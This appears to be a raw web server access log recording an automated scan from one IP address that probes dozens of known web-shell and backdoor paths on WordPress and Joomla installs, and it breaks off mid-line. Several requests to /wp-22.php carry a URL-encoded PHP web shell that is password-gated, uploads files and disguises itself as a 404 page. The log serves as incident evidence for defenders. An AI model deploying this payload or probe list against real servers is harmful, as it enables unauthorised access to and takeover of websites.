[19/Jan/2025:18:51:43 +0530] "GET /leafmailer.php HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:43 +0530] "GET /images/indexalt.php HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:43 +0530] "GET /wp-content/wp-admin.php HTTP/1.1" 302 243 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:43 +0530] "GET /doc.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:44 +0530] "GET /nee.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:44 +0530] "GET /wp-admin/wso112233.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:44 +0530] "GET /alfaindex.php HTTP/1.1" 302 233 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:44 +0530] "GET /777.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:44 +0530] "GET /Cpanel.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:44 +0530] "GET /modules/modules/modules.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:44 +0530] "GET /hello.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:44 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:44 +0530] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 302 260 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:44 +0530] "GET /libraries/joomla/jmails.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:44 +0530] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 302 254 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:46 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:46 +0530] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 302 257 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:46 +0530] "GET /templates/atomic/error.php HTTP/1.1" 302 246 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:46 +0530] "GET /wp-includes/css/wp-config.php HTTP/1.1" 302 249 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:47 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:48 +0530] "GET /wp_wrong_datlib.php HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:49 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:50 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:51 +0530] "GET /templates/beez3/index.php HTTP/1.1" 302 245 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:52 +0530] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 302 256 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:52 +0530] "GET /wp-content/fw.php HTTP/1.1" 302 237 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:52 +0530] "GET /wp-admin/includes/readindex.php HTTP/1.1" 302 251 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:52 +0530] "GET /wp-content/plugins/wp-file-upload/ROOBOTS.php HTTP/1.1" 302 265 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:52 +0530] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 302 271 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:52 +0530] "GET /DKIZ.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:53 +0530] "GET /administrator/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 266 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:53 +0530] "GET /mrjn.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:55 +0530] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 302 272 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:55 +0530] "GET /images/about.php HTTP/1.1" 302 236 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:55 +0530] "GET /test/wp-content/themes/seotheme/mar.php HTTP/1.1" 302 259 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:56 +0530] "GET /V5.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:56 +0530] "GET /wp-includes/fx.php HTTP/1.1" 302 238 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:57 +0530] "GET /sh3ll.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:58 +0530] "GET /wp-content/themes/astra/content-index.php HTTP/1.1" 302 261 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:59 +0530] "GET /wp-includes/theme-cron.php HTTP/1.1" 302 246 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:59 +0530] "GET /wp-includes/pomo/config.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:59 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:00 +0530] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 302 263 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:00 +0530] "GET /alexus.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:00 +0530] "GET /3301.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:00 +0530] "GET /wp-admin/css/index.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:00 +0530] "GET /vita.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /images/indexalt.php HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /templates/beez3/error.php HTTP/1.1" 302 245 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /wp-content/wp-logins.php HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /g.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /wp-content/wp-admin.php HTTP/1.1" 302 243 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /1.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /1975.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /xo.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /rahma.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /alexuse.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /kk.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /wp-includes/pomo/radiowso.php HTTP/1.1" 302 249 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /wp-admin/js/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 264 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /leafmailer.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /wp-includes/Text/sidwso.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /doc.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /beence.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET /alfaindex.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:01 +0530] "GET 